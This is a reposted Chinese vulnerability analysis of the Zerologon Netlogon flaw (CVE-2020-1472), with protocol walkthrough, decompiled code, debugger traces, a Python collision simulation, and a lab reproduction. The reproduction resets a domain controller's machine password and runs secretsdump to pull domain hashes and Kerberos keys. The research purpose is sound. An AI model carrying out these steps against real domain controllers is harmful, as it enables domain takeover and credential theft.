Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:17566 篇
已收录公众号数量:91 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
阿里云先知 网安寻路人 网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
CVE-2020-1472 NetLogon 权限提升漏洞研究
本文来自公众号:奇安信 CERT   2020.10.19 16:04:24


本文作者 Strawberry @ QAX A-TEAM

CVE-2020-1472 Net Logon 权限提升漏洞是微软8月份发布安全公告披露的紧急漏洞,CVSS漏洞评分10分,漏洞利用后果严重,未经身份认证的攻击者可通过使用 Netlogon 远程协议(MS-NRPC)连接域控制器来利用此漏洞。成功利用此漏洞的攻击者可获得域管理员访问权限。本文对此漏洞进行分析,如有不足之处,欢迎批评指正。


声明:本篇文章由 Strawberry @ QAX A-TEAM原创,仅用于技术研究,不恰当使用会造成危害,严禁违法使用 ,否则后果自负。


QAX A-TEAM



漏洞简讯



CVE-2020-1472 NetLogon 权限提升漏洞是微软8月份发布安全公告披露的紧急漏洞,CVSS漏洞评分10分,漏洞利用后果严重,未经身份认证的攻击者可通过使用 Netlogon 远程协议(MS-NRPC)连接域控制器来利用此漏洞。成功利用此漏洞的攻击者可获得域管理员访问权限。





协议分析



Netlogon 服务用于维护计算机与对域中的用户和其他服务进行身份验证的域控制器之间的安全通道,Netlogon 客户端和服务端之间通过RPC调用来进行通信。在进行正式通信之前,双方需进行身份认证并协商出一个 SessionKey。SessionKey 将用于保护双方后续 RPC 通信流量。以下为 Netlogon 身份验证握手流程:



首先由客户端发起挑战(传送Client challenge),服务端响应Server challenge,然后双方都使用共享的密钥以及来自双方的 challenges 进行计算得到 SessionKey,这样双方就拥有了相同的 SessionKey 以及 Client challenge 和 Server challenge。然后客户端使用 SessionKey 作为密钥加密 Client challenge 得到 Client credential 并发送给服务端,服务端也采用相同的方法计算出一个 Client credential,比较这两者是否相同,如果相同,则客户端身份认证成功,然后双方对调来验证服务端的 Server credential,如果成功,则说明双方身份认证成功且拥有相同的 SessionKey,后续可采用该密钥进行加密和完整性保护。


  • SessionKey 计算过程

如果双方协商了AES support,就会采用 HMAC-SHA256 算法来计算 SessionKey,具体流程如下:


使用MD4算法对密码的 Unicode 字符串进行散列得到 M4SS,然后以 M4SS 为密钥采用 HMAC-SHA256 算法对 ClientChallenge + ServerChallenge 进行哈希得到 SessionKey,取 SessionKey 的低16个字节作为最终的 SessionKey。

ComputeSessionKey(SharedSecret, ClientChallenge, ServerChallenge) M4SS := MD4(UNICODE(SharedSecret)) CALL SHA256Reset(HashContext, M4SS, sizeof(M4SS)); CALL SHA256Input(HashContext, ClientChallenge, sizeof(ClientChallenge)); CALL SHA256FinalBits (HashContext, ServerChallenge, sizeof(ServerChallenge)); CALL SHA256Result(HashContext, SessionKey); SET SessionKey to lower 16 bytes of the SessionKey;


  • Credential 计算过程

如果双方协商了AES support,后续会采用 AES-128 加密算法在 8 位 CFB 模式下计算 Credential(来自MS-NRPC文档)。其计算过程大致如下:


在 ComputeNetlogonCredential 函数中将 IV 初始化为 0,Input 接收 Challenge,使用 IV、SessionKey 对 Input 进行加密,AesEncrypt 使用的算法为 8 位 CFB 模式的 AES-128。

ComputeNetlogonCredential(Input, SessionKey, Output) SET IV = 0 CALL AesEncrypt(Input, SessionKey, IV, Output)


下面来插播一下 AES-CFB8 算法,如下所示:


首先初始化随机 IV(16字节),对 IV 进行 AES 运算,将结果的第一个字节与 PLAINTEXT(可对应上面算法的 Input) 的下一个字节进行异或,将异或结果放在 IV 末尾,IV 整体向前移1位。然后重复上述 "加密->异或->移位" 操作,直到取出了 PLAINTEXT 中的所有字节。最后得到 CIPHERTEXT(对应上面算法的 Output,其长度与 Input 相同)。



Netlogon 在计算 Credential 的过程中直接将 IV 初始化为 0,这会使 AES-CFB8  算法出现漏洞,Secura 的研究人员是在阅读 Microsoft 文档时发现了这个安全问题。由于在认证过程中 SessionKey 是随机的,因而对 IV 进行 AES 块加密得到的结果也是随机的,但只取结果中的第一个字节,这个字节为 X 的概率为 1/256(第一个字节可能的结果为 0 ~ 255)。那么我们假设第一轮 IV(全0) 加密结果的第一个字节为 X,我们就知道全 0 的输入可以获得输出 X ,因而我们可以构造 Challenge 为 XXXXXXXY,使得每一次异或的结果都为 0(除了最后一次,最后一位不参与加密运算),那么每一轮的 "IV" 还是全 0 的,每一次加密结果的第一个字节都是 X,这样就可以得到一个确定的 Credential:00 00 00 00 00 00 00 (X Xor Y)。因而在平均 256 次尝试之后,可以成功使用 00 00 00 00 00 00 00 (X Xor Y) 模式的 Credential 欺骗服务器认证通过而无需知道真正的密码以及 SessionKey,POC 中就选择将 X、Y 设置为 0,如下所示:



  • Authenticator 认证

在协商出 SessionKey 后,客户端就可以申请远程调用了,如 POC 中使用的 NetrServerPasswordSet2,这也是简略流程图中的最后一步。除了 NetrLogonSamLogonEx 之外,所有需要安全通道的调用都将使用 Netlogon Authenticator。Authenticator 结构如下所示,包括 8 字节的 Credential 和 4 字节的 Timestamp。

 typedef struct _NETLOGON_AUTHENTICATOR {   NETLOGON_CREDENTIAL Credential;   DWORD Timestamp; } NETLOGON_AUTHENTICATOR,  *PNETLOGON_AUTHENTICATOR;


客户端在每次发送新请求时,都会记录当前时间戳(ClientAuthenticator.Timestamp,表示自1970年1月1日(UTC)00:00:00起的秒数),然后更新 ClientCredential(之前的 ClientCredential 加 Timestamp),然后以 SessionKey 为密钥使用之前协商的加密算法计算出 ClientAuthenticator.Credential,之后将 Authenticator 附在调用请求中一起发送给服务端。

SET TimeNow = current time;SET ClientAuthenticator.Timestamp = TimeNow;SET ClientStoredCredential = ClientStoredCredential + TimeNow;CALL ComputeNetlogonCredential(ClientStoredCredential, Session-Key, ClientAuthenticator.Credential);


服务端接收到请求后将采用相同的步骤计算 TempCredential( ClientCredential 和 SessionKey 是一致的),比较 TempCredential 和 客户端发来的 ClientAuthenticator.Credential 是否一致,一致则通过客户端认证。然后服务端将 ClientCredential 加1之后进行同样的运算,得到 ServerAuthenticator.Credential ,将 Authenticator 附在响应包中。

SET ServerStoredCredential = ServerStoredCredential + ClientAuthenticator.Timestamp;CALL ComputeNetlogonCredential(ServerStoredCredential, Session-Key, TempCredential);IF TempCredential != ClientAuthenticator.Credential THEN return access denied errorSET ServerStoredCredential = ServerStoredCredential + 1;CALL ComputeNetlogonCredential(ServerStoredCredential, Session-Key, ServerAuthenticator.Credential);


然后客户端更新 ClientCredential(自加1),进行同样的运算得到 TempCredential ,判断 TempCredential 和服务端发来的 ServerAuthenticator.Credential 是否一致,一致则通过认证,否则重新建立安全通道。

SET ClientStoredCredential = ClientStoredCredential + 1;CALL ComputeNetlogonCredential(ClientStoredCredential, Session-Key, TempCredential);IF TempCredential != ServerAuthenticator.Credential THEN return abort





POC复现分析




使用公开的POC进行漏洞复现,如下所示,目标系统存在该漏洞,密码成功被置为空。



同时使用Wireshark抓包,前面说过 Netlogon 采用 RPC(Remote Procedure Call Protocol,远程过程调用协议)来进行通信。RPC 是一种通过网络从远程计算机程序上请求服务而不需要了解底层网络技术的协议。RPC 允许用户在程序中调用一个函数,而这个函数将在另外一个或多个远程机器上执行,并将结果返回给最初进行 RPC 调用的机器,在这个过程中RPC体系会替用户完成网络上连接建立、会话握手、用户验证、参数传递、结果返回等细节问题,使得远程过程调用和本地函数调用一样方便。因而,我们直接关注用户验证阶段就好。


注意 NetrServerReqChallenge 和 NetrServerAuthenticate3 请求&响应包,直接翻到最后一组。NetrServerReqChallenge 请求包将 Server Handle、Computer Name 以及 Client Challenge 序列化数据发送至服务端,其中,Client Challenge 为 "00 00 00 00 00 00 00 00"。



服务端返回 Server Challenge 为 "7a 06 53 36 16 8d 5f 78"。



发送 NetrServerAuthenticate3 请求,传送 Server Handle、Client Credential、Negotiation options等参数,Client Credential 依旧还是 "00 00 00 00 00 00 00 00"。其实,在每次尝试中 Client Challenge、Client Credential 都是 8 字节全零数据,只有最后一次认证成功了(成功了就不用尝试了呢)。



这次,服务端返回认证成功的代码(STATUS_SUCCESS),Server Credential 和服务端身份认证相关,不必关注。只需要记得这次使得身份认证成功的 Server Challenge 为 "7a 06 53 36 16 8d 5f 78" 就好,后面会有个小验证。



再接下来是发送 NetrServerPasswordSet2 请求,如下图所示,参数为 Server Handle(PrimaryName),还有一些 Wireshark 没有识别出来的参数 AccountName、SecureChannelType、ComputerName、Authenticator、ClearNewPassword,我按照格式用不同颜色的笔标记出来了,其中,Authenticator 和 ClearNewPassword 都是全 0 的:



然后服务端返回其 Authenticator,至此密码已成功被置为空。





逆向分析



POC中先后调用了 NetrServerReqChallenge 函数和 NetrServerAuthenticate3 函数。因而,服务端会通过 NetrServerReqChallenge 函数接收 ClientChallenge 并生成 ServerChallenge,在接收到 NetrServerAuthenticate3 请求后会调用 NetrServerAuthenticate3 函数进行认证。以下为两个函数原型,可对比抓包数据来看,其中,in 和 out 分别对应了客户端和服务端请求响应的参数。

NTSTATUS NetrServerReqChallenge( [in, unique, string] LOGONSRV_HANDLE PrimaryName, [in, string] wchar_t* ComputerName, [in] PNETLOGON_CREDENTIAL ClientChallenge, [out] PNETLOGON_CREDENTIAL ServerChallenge);
NTSTATUS NetrServerAuthenticate3( [in, unique, string] LOGONSRV_HANDLE PrimaryName, [in, string] wchar_t* AccountName, [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType, [in, string] wchar_t* ComputerName, [in] PNETLOGON_CREDENTIAL ClientCredential, [out] PNETLOGON_CREDENTIAL ServerCredential, [in, out] ULONG * NegotiateFlags, [out] ULONG * AccountRid);


重点来看服务端对客户端身份认证环节,在 NetrServerAuthenticate3 函数中会调用 NlMakeSessionKey 函数计算 SessionKey,然后调用 NlComputeCredentials 函数计算 ClientCredential,比较客户端发来的 ClientCredential 和自己计算出来的是否相同。

//NetrServerAuthenticate3  _mm_store_si128((__m128i *)&v58, v23);    // v58 => md4(unicode(secret))  LODWORD(v45) = NlMakeSessionKey(flags, (__int64)&v58, (__int64)CC, (__int64)SC);    // 这里计算SessionKey  if ( (signed int)v45 < 0 )  {    NlPrintDomRoutine(      0x100u,      (__int64)v9,      (__int64)L"NetrServerAuthenticate: Can't NlMakeSessionKey for %ws 0x%lx.\n",      (__int64)v7);      RtlLeaveCriticalSection(&NlGlobalChallengeCritSect);      goto LABEL_59;   }  NlPrintRoutine(0x4000000u, (__int64)L"NetrServerAuthenticate: SessionKey %lu = ", v22, v25);  NlpDumpBuffer(0x4000000, (__int64)&SessionKey, 0x10u);  NlComputeCredentials(CC, pbOutput, &SessionKey, *&flag);    // 这里计算ClientCredential  NlPrintRoutine(0x4000000u, (__int64)L"NetrServerAuthenticate: ClientCredential %lu GOT  = ", v22, v26);  NlpDumpBuffer(0x4000000, 0i64, 8u);  NlPrintRoutine(0x4000000u, (__int64)L"NetrServerAuthenticate: ClientCredential %lu MADE = ", v22, v27);  NlpDumpBuffer(0x4000000, (__int64)pbOutput, 8u);  if ( v0 == *(_QWORD *)pbOutput )    //验证接收的ClientCredential和刚计算出的是否相等
1: kd> pnetlogon!NetrServerAuthenticate3+0x399:00007ffb`0df74799 488b4580 mov rax,qword ptr [rbp-80h]1: kd> netlogon!NetrServerAuthenticate3+0x39d:00007ffb`0df7479d 488b00 mov rax,qword ptr [rax]1: kd> netlogon!NetrServerAuthenticate3+0x3a0:00007ffb`0df747a0 483b45b0 cmp rax,qword ptr [rbp-50h]1: kd> db poi(rbp-80) l800000083`db04efc8 00 00 00 00 00 00 00 00 ........1: kd> db rbp-50 l800000083`db7de780  99 865 7791 e0 99                          ..e|~...


在计算 ClientCredential 的过程中会调用 SymCryptCfbEncrypt 函数进行 AES-CFB8  运算,如下所示,会循环调用 SymCryptAesEncrypt 函数对数据块进行加密, IV 被初始化为 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00。

//SymCryptCfbEncrypt
if ( num_8 >= num_1 ) // a2=1 { v9 = vars30; num_f = v4 - num_1; // f v11 = v5 - vars30; // vars38 - vars30 当然是8了 do { (*(void (__fastcall **)(__int64, char *, char *))(v22 + 8))(SessionKey, IV, &Src);// SymCryptAesEncrypt,结果保存在src中
v12 = num_1; pSrc1 = &Src; pSrc2 = &Src; plaintext = (char *)v9; // 指向CC,vars38存放运算结果 ...... if ( v12 ) { v16 = plaintext - pSrc2; // 计算plaintext相对于src的偏移 v17 = pSrc1 - pSrc2; // 在CFB8中这个值就是0 do { pSrc2[v17] = *pSrc2 ^ pSrc2[v16]; // 将加密结果的第一个字节和下一个字节异或( plaintext 的下一个字节),并放回src ++pSrc2; --v12; } while ( v12 ); } memcpy_0((void *)(v11 + v9), &Src, num_1);// 从vars38开始放入运算结果 ++ memmove(IV, &IV[num_1], num_f); // 整体向前移一位 memcpy_0(&IV[num_f], &Src, num_1); // 把加密结果的第一个字符放在末尾 v8 -= num_1; v9 += num_1; } while ( v8 >= num_1 ); v7 = v23; } return memcpy_0(v7, IV, v4); //将最终结果复制到 v7 指向的内存}
1: kd> bcryptPrimitives!SymCryptCfbEncrypt+0x85:00007ffb`0e6a9d19 41ff5708 call qword ptr [r15+8]1: kd> db rdx l1000000083`db7de2a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................


将上述流程使用 python 实现,设置 Client Challenge 为 41 41 41 41 41 41 41 41(即 X 为 0x41,Y 为 0),随机生成 Server Challenge,打印每次的 SessionKey 和 ClientCredential,看会不会出现全 0 的 ClientCredential:

from Crypto.Hash import MD4from Crypto.Cipher import AESfrom termcolor import coloredimport os, hmac, hashlib, struct
def getSessionKey(CC):
SC = os.urandom(8) hstring = CC + SC
secret = "testtest" #密码我换了的 u_secret = unicode_str(secret) hkey = MD4.new(data = u_secret).digest() #print "test hkey:",print_func(hkey) SessionKey = hmac.new(hkey, hstring, hashlib.sha256).digest()[:16] #print "sessionkey",print_func(SessionKey) return SessionKey
def AES_128_CFB(Key,iv,String): cryptor = AES.new(key=Key, mode=AES.MODE_CFB, IV=iv,segment_size=128) ciphertext = cryptor.encrypt(String) return str(ciphertext)[0]
def unicode_str(sstr):
res = "" for i in sstr: res += i res += "\x00" return res
def print_func(string):
res = ""
for i in range(len(string)): hexnum = hex(struct.unpack("B", string[i])[0])[2:] if len(hexnum) == 1: hexnum = "0" + hexnum res += hexnum
return res
def vuln_func(SessionKey,challenge): ClientCredential = "" iv = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" string = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
for i in range(8): res = AES_128_CFB(SessionKey,iv,string) insert_byte = struct.pack("B",struct.unpack("B",res)[0] ^ struct.unpack("B",challenge[i])[0]) iv = iv[1:] + insert_byte ClientCredential += insert_byte
    text = "[*]SessionKey:" + print_func(SessionKey) + "    ClientCredential:" + print_func(ClientCredential)
if ClientCredential.startswith('\x00'): print colored(text,'red') return True else: print colored(text,'blue')
    return False
if __name__ == "__main__":
total = 0
for t in range(2000): #可以改小一些 for i in range(2000): challenge = "\x41\x41\x41\x41\x41\x41\x41\x41" SessionKey = getSessionKey(challenge) if vuln_func(SessionKey,challenge): total += i+1 print "[*] The number of attempts({}): {}".format(str(t+1),str(i+1)) break     print "[+] Average times: "+ str(total/2000)    #可以改小一些


在经过 2000 次测试之后,发现成功需要平均的次数为 252,已经很接近 256 了,理论上测试次数越多越接近 256。幸运的是,在每一次测试中都在 2000 次之内得到了全 0 的 ClientCredential。



稍微修改一下代码,对抓包得到的 Server Challenge 进行测试,可发现成功得到全 0 的 Client Credential,服务端计算的 Authenticator.Credential 为 01 55 c7 b5 50 3b 23 ab(和抓包数据相吻合)。

➜  Desktop python testnetlogon1.py[*] Client Challenge: 0000000000000000[*] Server Challenge: 7a065336168d5f78[+] SessionKey: efe82ad49b32db0d314849584b99dc5e[1] 00ca04acf89b3eb567f91faad0131ab3[2] 00ca04acf89b3eb567f91faad0131ab3[3] 00ca04acf89b3eb567f91faad0131ab3[4] 00ca04acf89b3eb567f91faad0131ab3[5] 00ca04acf89b3eb567f91faad0131ab3[6] 00ca04acf89b3eb567f91faad0131ab3[7] 00ca04acf89b3eb567f91faad0131ab3[8] 00ca04acf89b3eb567f91faad0131ab3[*] ClientCredential:0000000000000000
[*] Server Stored Credential: 0100000000000000 //Wireshark 错误的解析把人坑好久[1] 00ca04acf89b3eb567f91faad0131ab3[2] 5541e42375fc6a76440a0575e86727bd[3] c7f5d8d02b703afe4cfddfe68b63d91a[4] b5731a798077a5e122b3ea2305f04181[5] 5038e1dd5db1746134767bcb014a373c[6] 3b531976aba0916774c2c6a5e7122fcf[7] 23170bb99d58140cbd060de43c01f385[8] ab0452ae6e8dcfd950ee35c83049cd33[*] TempCredential:0155c7b5503b23ab


POC 中的下一步是调用 NetrServerPasswordSet2 将密码置空,以下为 NetrServerPasswordSet2 函数原型,在该函数调用请求中需要提交 Authenticator 认证数据(NETLOGON_AUTHENTICATOR 结构)以及 ClearNewPassword 数据(NL_TRUST_PASSWORD 结构)。

 NTSTATUS NetrServerPasswordSet2(   [in, unique, string] LOGONSRV_HANDLE PrimaryName,   [in, string] wchar_t* AccountName,   [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,   [in, string] wchar_t* ComputerName,   [in] PNETLOGON_AUTHENTICATOR Authenticator,   [out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator,   [in] PNL_TRUST_PASSWORD ClearNewPassword);


NETLOGON_AUTHENTICATOR 前面介绍过,包括计算得到的 Credential 和当前的 Timestamp;NL_TRUST_PASSWORD 结构体中包括 Buffer(Unicode类型,512 字节)和 4 字节的 Length(指明 Password 长度)。

 typedef struct _NETLOGON_AUTHENTICATOR {   NETLOGON_CREDENTIAL Credential;   DWORD Timestamp; } NETLOGON_AUTHENTICATOR,  *PNETLOGON_AUTHENTICATOR;
typedef struct _NL_TRUST_PASSWORD { WCHAR Buffer[256]; ULONG Length; } NL_TRUST_PASSWORD,  *PNL_TRUST_PASSWORD;


如果表示计算机账户密码,Buffer 中的前 512 - Length 个字节必须为随机数,作为加密熵源,后面 Length 个字节为密码。



服务端在获取到客户端发送的 Authenticator 中的 timestamp 后,只是判断该值是否为0xFFFFFFFF,如果不是的话就直接使用用户发送的 timestamp 进行后续计算(计算过程前面已经分析过)。如下所示,在 netlogon!NlCheckAuthenticator 函数中验证Authenticator,采用 NlComputeCredentials 函数计算 Credential,由于还是使用同一条件下的算法(相同的 IV 和 SessionKey),因而使用和之前 Client Challenge 相同的输入依然可以得到全 0 输出,POC 中使用的 timestamp 还是0,这样 timestamp 加上之前计算得到的 Credential 后还是全 0 的,计算出的 TempCredential 也还是全 0,这样我们使用 00 00 00 00 00 00 00 00 的 Authenticator.Credential 就可以通过验证。由于 timestamp 的长度为 4 个字节,因而在前面的模式中只有 X 取 0 的情况下可以通过验证,即 Client Challenge、Client Credential、Authenticator.Credential 都为 00 00 00 00 00 00 00 Y,Authenticator.timestamp 为 0。

//NlCheckAuthenticator  NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Time = ");  NlpDumpBuffer(0x4000000i64, ClientAuthenticator + 8, 4i64);    // 4 字节的 timestamp  timestamp = *(_DWORD *)(ClientAuthenticator + 8);// timestamp  if ( timestamp == -1 )  {    NlPrintRoutine(      256i64,      L"NlCheckAuthenticator: potentially malicious client is calling with timestamp of 0xffffffff\n");  }
else //校验客户端的 Authenticator && 计算自己的 Authenticator { *ServerStoredCredential += timestamp; NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Seed + TIME = "); NlpDumpBuffer(0x4000000i64, v4 + 0x98, 8i64); NlComputeCredentials((PUCHAR)(v4 + 0x98), TempCredential, (PUCHAR)(v4 + 0xA0), *(_DWORD *)(v4 + 0x8C));// 计算 TempCredential NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Client Authenticator MADE = "); NlpDumpBuffer(0x4000000i64, TempCredential, 8i64); if ( *(_QWORD *)ClientAuthenticator == *(_QWORD *)TempCredential ) { v8 = *(_DWORD *)(v4 + 0x8C); ++*ServerStoredCredential; NlComputeCredentials((PUCHAR)(v4 + 0x98), ServerAuthenticator.Credential, (PUCHAR)(v4 + 0xA0), v8); NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Server Authenticator SEND = "); NlpDumpBuffer(0x4000000i64, ServerAuthenticator.Credential, 8i64); NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Seed + time + 1= "); NlpDumpBuffer(0x4000000i64, v4 + 0x98, 8i64); *(_WORD *)(v4 + 0x88) = 0; *(_WORD *)(v4 + 0x8A) &= 0xFBFFu; *(_WORD *)(v4 + 0x78) = 0; return 0i64; }  }


Authenticator 认证通过后会调用 NlDecrypt 函数对 TRUST_PASSWORD 进行 8 位 CFB 模式 AES-128 解密,在进行一些判断后会调用 NlSetIncomingPassword -> NlSamChangePasswordNamedUser -> SamISetMachinePassword 设置密码。以下为测试,随意填充 ClearNewPassword 结构,这里我将密码长度设置为 0x10,密码为 "testtest" ,其余数据用 00 填充(应该是随机数)。理论上这个结构应该进行 8 位 CFB 模式的 AES-128 加密,但我们不知道原来的密码,也算不出 SessionKey,所以干脆就这样啦。解密之后长度变成了 0xc6e8ca2,由于后面会有是否大于 0x200 的判断,将其手动修改为 0x10,然后继续运行程序。

1: kd> gBreakpoint 0 hitnetlogon!NetpServerPasswordSet+0x2b9:00007ffb`0e001159 e8526e0000      call    netlogon!NlDecrypt (00007ffb`0e007fb0)1: kd> db rcx l204DBGHELP: SharedUserData - virtual symbol module00000083`da84e430  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e440  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e450  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e460  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e470  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e480  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e490  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e4a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e4b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e4c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e4d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e4e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e4f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e500  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e510  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e520  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e530  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e540  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e550  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e560  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e570  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e580  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e590  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e5a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e5b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e5c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e5d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e5e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e5f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e600  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e610  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e620  74 00 65 00 73 00 74 00-74 00 65 00 73 00 74 00  t.e.s.t.t.e.s.t.    //理论上是 Unicode 密码加密后的结果00000083`da84e630  10 00 00 00                                      ....                // 加密前 Unicode 密码长度1: kd> pnetlogon!NetpServerPasswordSet+0x2be:00007ffb`0e00115e 448b8d90010000  mov     r9d,dword ptr [rbp+190h]1: kd> db 00000083`da84e620     //解密后的数据,长度变成了 0xc6e8ca200000083`da84e620  74 7d 5d be 3e 03 af cc-2e cb b8 52 1c 4b af f5  t}].>......R.K..00000083`da84e630  a2 8c 6e c0 83 00 00 00-00 4e f7 0d fb 7f 00 00  ..n......N......00000083`da84e640  00 ec 84 da 83 00 00 00-18 8d 30 db 83 00 00 00  ..........0.....00000083`da84e650  87 a7 43 c4 73 a1 23 4f-77 12 88 bf c4 d4 04 90  ..C.s.#Ow.......00000083`da84e660  ff ff 2f 21 00 00 00 00-0c 40 f7 23 04 19 bb 84  ../!.....@.#....00000083`da84e670  68 75 b4 7f 66 9f 7d 87-e6 89 31 81 7d b4 00 00  hu..f.}...1.}...00000083`da84e680  d0 eb 84 da 83 00 00 00-52 fd f7 0d fb 7f 00 00  ........R.......00000083`da84e690  d0 eb 84 da 83 00 00 00-68 fd f7 0d fb 7f 00 00  ........h.......1: kd> ed 83`da84e630 10    //由于后面有 cmp r9d, 200h 判断,手动将其改为 0x10


解密后的密码为 "74 7d 5d be 3e 03 af cc 2e cb b8 52 1c 4b af f5",使用 MD4 散列算法进行运算得到 2d7091de951698701d2c34e3ccec0596,使用此哈希可从域控制器中复制用户凭据:

➜ Desktop python3 secretsdump.py -hashes :2d7091de951698701d2c34e3ccec0596 'WIN-NI3V5MRI9L6$@192.168.147.222'Impacket v0.9.22.dev1+20200924.183326.65cf657f - Copyright 2020 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f15c5d3dc5d24c3587e19ed2bade3e29:::yyyyyyyyt:1001:aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65:::WIN-NI3V5MRI9L6$:1002:aad3b435b51404eeaad3b435b51404ee:2d7091de951698701d2c34e3ccec0596:::[*] Kerberos keys grabbedkrbtgt:aes256-cts-hmac-sha1-96:1358483816cf1723cb1c084bf1833dcd7d72cfb07cd383408ba238306ea6b580krbtgt:aes128-cts-hmac-sha1-96:de0d4bda473745a0a696b13c69f4584fkrbtgt:des-cbc-md5:b60bfbb06ba42562yyyyyyyyt:aes256-cts-hmac-sha1-96:dd34bd0d9a4adb2a7f0cb35f0033035b0cdae21197a41147a7b07ed0681a5a7cyyyyyyyyt:aes128-cts-hmac-sha1-96:f46c8f546161b1082cd11d6db1c48aa4yyyyyyyyt:des-cbc-md5:fdfbb9f170a279f4WIN-NI3V5MRI9L6$:aes256-cts-hmac-sha1-96:f38f0684cb0a99c72741206e8a0727d0f2486dbe8b1899c9169e7eb4e7552c24WIN-NI3V5MRI9L6$:aes128-cts-hmac-sha1-96:e527f5d9b2c73fc70e86b197a30a1124WIN-NI3V5MRI9L6$:des-cbc-md5:8ad05d169b01c431[*] Cleaning up...


现在再来回顾一下漏洞模式,由于我们可以走到这里,说明客户端和服务端直接已经协商出了给定输入 00 就可以得到 AES 块加密结果第一个字节为 00 的 SessionKey,如果我们给出 516 个 00,那么 8 位 CFB 模式 AES-128 加密的结果也是 516 个 00。我们将 ClearNewPassword 结构填充为 516 个 00 ,这样系统在解密的时候得到的结果也是 516 个 00,这样密码的长度字段就被解析为 0,账户密码被置空。

